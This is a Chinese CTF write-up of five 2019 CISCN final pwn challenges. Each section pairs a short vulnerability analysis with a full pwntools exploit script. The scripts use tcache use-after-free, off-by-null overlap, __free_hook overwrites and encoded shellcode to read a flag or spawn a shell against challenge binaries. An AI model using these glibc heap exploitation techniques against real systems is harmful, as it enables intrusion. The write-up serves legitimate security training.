骑麦兜看落日

[WriteUp]2019CISCN final

字数统计: 2.4k阅读时长: 12 min
2019/07/31 Share

c05


程序分析

1
2
3
4
5
6
7
8
$ file inode_heap 
inode_heap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=034de8edf01bcf16b3a78c825a5b23008331115d, not stripped
$ checksec inode_heap
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题思路

题目首先读取flag文件,并将其保存在fd=666中,并且题目中存在沙箱

1
2
3
4
5
6
7
8
9
10
11
$ seccomp-tools dump ./inode_heap 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

这样的题目其实反而很简单,因为目的很明确,出题人不想让你getshell,而是通过fd=666搞事情.

问题在于如何通过fd=666来leak出flag

我的第一个想法是找到它的IOFILE结构体,然后泄露出它的缓冲区,纠结了半天后想起来,open函数是没有IOFILE结构体的,此处需要了解标准IO和文件IO的区别(下次国赛应该背着《UNIX环境高级编程》来)

第二个想法是,修改标准输入输出的fd为666,这样在退出时刷新缓冲区可能会把flag输出,试了下stdout没有成功,stdin成功

这个结果是对的,但是原因并非退出时刷新缓冲区,而是在调用scanf时未从标准输入读取,而是从fd=666中读取

剩下的事情就很简单了,通过tcache的uaf控制stdin的IOFILE结构体的文件描述符


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './inode_heap'
lib = ''
ip = '172.16.9.21'
port = 9005
elf = ld(exe, lib)
libc = elf.libc

def dbg(script=''):
attach(io, gdbscript=script)

# ------------------------------------------------
def choice(idx):
io.recvuntil('> ')
io.sendline(str(idx))

def new(types, number):
choice(1)
io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(types))
io.sendlineafter('your inode number:', str(number))

def dele(types):
choice(2)
io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(types))

def show(types):
choice(3)
io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(types))

def exit():
choice(4)

# ------------------------------------------------

LOCAL = 1

# ------------------------------------------------

def exp():
new(1, 20)
dele(1)
new(2, 20)
dele(1)
new(2, 20)
dele(1)
new(2, 20)
dele(1)
show(1)
io.recvuntil(':')
heap_addr = int(io.recv(10))&(0xfffff000)
log.info(hex(heap_addr))
new(1, heap_addr+0x10)
new(1, 0)
new(1, 0)
for i in range(7):
dele(1)
new(2, 20)
dele(1)
show(1)
io.recvuntil(':')
libc_addr = int(io.recv(10)) - 560
log.info(hex(libc_addr))
new(2, 0x20)
new(2, 0x20)
new(2, heap_addr+0x3c0)
new(2, 0x20)
new(2, libc_addr)
new(2, 666)
exit()

io.interactive()

# ------------------------------------------------

if __name__ == '__main__':

if LOCAL:
io = elf.process(env={"LD_PRELOAD":libc.path})
else:
io = remote(ip, port)

exp()

c06


程序分析

1
2
3
4
5
6
7
8
9
$ file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f8bdde8087e91d876f0b01a4767be59e42885a1e, stripped

$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题思路

题目比较简单,唯一的难点在于是用cpp写的所以开始没有看,导致没有做出来…

去除掉一堆难看的cpp代码,就是简单的addremove功能,还有一个带限制的leak,可以说是我们这次SCTF一道题的弟弟版,唯一的遗憾是没有早点看这道题


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './pwn'
lib = './libc.2.27.so'
ip = ''
port = 0
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc

def dbg(script=''):
attach(io, gdbscript=script)

def choice(idx):
io.sendlineafter('choice > ', str(idx))

def add(idx, size, content):
choice(1)
io.sendlineafter('input the index', str(idx))
io.sendlineafter('input the size', str(size))
io.sendafter('now you can write something', content)

def dele(idx):
choice(2)
io.sendlineafter('input the index', str(idx))

def leak():
io.recvuntil('gift :0x')
leak_addr = int(io.recv(12), 16)
return leak_addr

# ------------------------------------------------

LOCAL = 1
heap_offset = 0x11e70
libc_offset = 0x3ebca0

# ------------------------------------------------
def exp():

# get heap_addr
add(0, 0x20, 'A'*8)
leak_addr = leak()
heap_addr = leak_addr - heap_offset

# get libc_addr
dele(0)
dele(0)
dele(0)
add(1, 0x20, p64(heap_addr+0x10))
add(2, 0x20, 'B'*8)
add(3, 0x20, 'C'*8)
for i in range(7):
dele(3)
dele(3)
add(4, 0x30, 'D'*8)
add(5, 0x10, '\x90')
leak_addr = leak()
libc.address = leak_addr - libc_offset
log.info(hex(libc.address))

# rewrite __free_hook
add(6, 0x10, p64(libc.sym['__free_hook']))
add(7, 0x20, 'E'*8)
add(8, 0x20, '/bin/sh\x00')
add(9, 0x20, libc.sym['system'])
dele(8)

io.interactive()

# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process(env={"LD_PRELOAD":libc.path})
else:
io = remote(ip, port)

exp()

c08


程序分析

1
2
3
4
5
6
7
8
$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ad75f1d8a9c718fae2aeb53bf0ebc5892400524c, stripped
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

解题思路

index的保存是在new函数中将malloc返回指针与index或,但是在delete时通过ptr&0xf取出index

问题在于bin(16)=0b10000,会导致在new和delete的过程中错位,因此可以伪造一个chunk头实现overlap

之后利用tcache打到iofile缓冲区leak出libc的地址


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './pwn'
lib = './libc.2.27.so'
ip = ''
port = 0
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc

def dbg(script=''):
attach(io, gdbscript=script)

def choice(idx):
io.sendlineafter('your choice: ', str(idx))

def new(idx, size, content):
choice(1)
io.sendlineafter('index: ', str(idx))
io.sendlineafter('size: ', str(size))
io.sendafter('content: ', content)

def dele(idx):
choice(2)
io.sendlineafter('index: ', str(idx))

def edit(idx, content):
choice(3)
io.sendlineafter('index: ', str(idx))
io.sendlineafter('content: ', content)

def leak():
io.recvuntil('low 12 bits: 0x')
bit12 = int(io.recv(3), 16)
return bit12
# ------------------------------------------------

LOCAL = 1
libc_offset = 0x3eba00

# ------------------------------------------------
def exp():

# overlap
new(0x10, 0x418, p64(0)+p64(0x501))
new(0x1, 0x28, 'A'*8) # overlap
new(0x2, 0x28, 'B'*8)
new(0x3, 0x28, 'C'*8)
new(0x4, 0x28, 'D'*8)
new(0x5, 0x28, 'E'*8)
new(0x6, 0x418, 'D'*8)
new(0x7, 0x18, 'E'*8)
dele(0x6)
dele(0x0)

# get libc_addr
dele(0x3)
dele(0x2)
dele(0x1)
new(0x8, 0x468, 'a'*0x410 + p64(0x00000000006020A0))
new(0x9, 0x28, 'b'*0x8)
new(0xa, 0x28, '\x60')
payload = ''
payload += p64(0xfbad1800)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += '\xc8'
new(0xb, 0x28, payload)
libc.address = u64(io.recv(8)) - libc_offset
log.info(hex(libc.address))

# getshell
dele(0x5)
dele(0x4)
new(0xc, 0x88, 'c'*0x30+p64(libc.sym['__free_hook']))
new(0xd, 0x28, '/bin/sh\x00')
new(0xe, 0x28, p64(libc.sym['system']))
dbg()
dele(0xd)

io.interactive()

# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process(env={"LD_PRELOAD":libc.path})
else:
io = remote(ip, port)

exp()

c16


程序分析

1
2
3
4
5
6
7
8
$ file source
source: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=496d53c79cb31b412b8874af58805f8091abdf7a, not stripped
$ checksec source
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题思路

2018LCTF原题…

在一个叫做safe_read的函数中存在off-by-null

不同于一般off-by-null的题目,这个题目的chunk为固定大小0x100,且存在tcache

我们可以通过三个chunk来实现overlap,第一次释放三个chunk时

1
2
3
4
5
6
7
8
9
0x300 -> +----------+----------+
| 0x00 | 0x301 |
0x400 -> +----------+----------+
| 0x100 | 0x100 |
0x500 -> +----------+----------+
| 0x200 | 0x100 |
0x600 -> +----------+----------+
| 0x300 | 0x100 |
+----------+----------+

当我们再申请三个chunk时,会改变的只有0x600处的prev_size

1
2
3
4
5
6
7
8
9
0x300 -> +----------+----------+
| 0x00 | 0x101 |
0x400 -> +----------+----------+
| 0x100 | 0x101 |
0x500 -> +----------+----------+
| 0x200 | 0x101 |
0x600 -> +----------+----------+
| 0x100 | 0x101 |
+----------+----------+

因此我们可以通过0x500处的prev_size实现overlap

然后通过tcache来getshell


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux',
aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './source'
lib = './libc.2.27.so'
ip = ''
port = 0
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc

def dbg(script=''):
attach(io, gdbscript=script)

def choice(idx):
io.sendlineafter('> ', str(idx))

def add(content):
choice(1)
io.sendlineafter('size \n> ', str(len(content)))
io.sendlineafter('content \n> ', content)

def dele(idx):
choice(2)
io.sendlineafter('index \n> ', str(idx))

def show(idx):
choice(3)
io.sendlineafter('index \n> ', str(idx))

# ------------------------------------------------

LOCAL = 1
libc_offset = 0x3ebca0
gadgets =[0x4f2c5, 0x4f322, 0x10a38c]
# ------------------------------------------------
def exp():
# overlap
add('A'*0x8) # 0
add('B'*0x8) # 1
add('C'*0x8) # 2
for i in range(7):
add('padding')

for i in range(3, 3+7):
dele(i)
dele(0)
dele(1)
dele(2)

for i in range(7):
add('padding')
add('D'*0x8) # 7
add('E'*0x8) # 8
add('F'*0x8) # 9

for i in range(7):
dele(i)
dele(7)

for i in range(7):
add('padding')
dele(8)
add('\x00'*0xf8) # 7

for i in range(7):
dele(i)
dele(9)

# leak libc_addr
for i in range(7):
add('padding')
add('G'*0x8) # 8
show(7)
libc.address = u64(io.recv(6).ljust(8, '\x00')) - libc_offset

# getshell
add('H'*0x8) # 9 same as 7
for i in range(4):
dele(i)
dele(7)
dele(9)
add(p64(libc.sym['__free_hook'])) # 0
add('I'*0x8) # 1
add(p64(libc.address+gadgets[1])) # 2
dele(0)


io.interactive()

# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process(env={"LD_PRELOAD":libc.path})
else:
io = remote(ip, port)

exp()

c17


程序分析

1
2
3
4
5
6
7
8
9
$ file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=601f197ba424ce
0fb65a382d5f88cc8afb7d5bb7, stripped
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题思路

题目很简单,虽然最后发现自己并不是预期解,但是依然很简单.

先讲讲我的非预期解,题目开始需要猜测一个随机数,由于使用的是strncmp,所以只要随机数首位是\x00,就截断字符串比较,因此只要爆破256位即可.

不管怎么说这个方法都挺蠢的,按照预期解来讲一下,题目逻辑为随机数正确返回0,错误返回一个小于0xff的自定义值,然而这里存在一个负数溢出,且之后判断返回值是否为0时存在整数溢出,因此可以通过类似于0x80000000的值进行绕过

以上是第一步,这一步会在栈上保存一个申请到的堆地址,第二步是通过tcache的uaf来使栈指针指向的堆区域的值为指定值

最后一步就是写shellcode,但是需要经过一个简单的加密

膜师傅们的手速…


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './pwn'
lib = 'libc.2.27.so'
ip = '172.16.9.24'
port = 9017
elf = ld(exe, lib)
libc = elf.libc if lib else elf.libc

def dbg(script=''):
attach(io, gdbscript=script)

def choice(idx):
io.sendlineafter('> ', str(idx))

def add(size, content):
choice(1)
io.sendlineafter('> ', str(size))
io.sendafter('> ', content)

def dele():
choice(2)

# ------------------------------------------------

LOCAL = 0

# ------------------------------------------------

def exp():

io.sendafter('> ', '\x00')

add(0x20, 'A'*0x20)
dele()
dele()
add(0x20, '\x90')
add(0x20, 'B'*0x20)
add(0x20, 'The cake is a lie!\x00')
io.sendlineafter('> ', '3')

shellcode = asm(shellcraft.sh()) + 'aa'
print(hex(len(shellcode)))
length = len(shellcode)
payload = ''

num = 0
for i in range(length):
num = ord(shellcode[length-i-1]) ^ num
payload += chr(num)
payload = payload[::-1]
io.sendlineafter('> ', payload)

io.interactive()

# ------------------------------------------------
if __name__ == '__main__':
while True:
try:

if LOCAL:
io = elf.process(env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()
except Exception as e:
io.close()
CATALOG
  1. 1. c05
    1. 1.1. 程序分析
    2. 1.2. 解题思路
    3. 1.3. EXP
  2. 2. c06
    1. 2.1. 程序分析
    2. 2.2. 解题思路
    3. 2.3. EXP
  3. 3. c08
    1. 3.1. 程序分析
    2. 3.2. 解题思路
    3. 3.3. EXP
  4. 4. c16
    1. 4.1. 程序分析
    2. 4.2. 解题思路
    3. 4.3. EXP
  5. 5. c17
    1. 5.1. 程序分析
    2. 5.2. 解题思路
    3. 5.3. EXP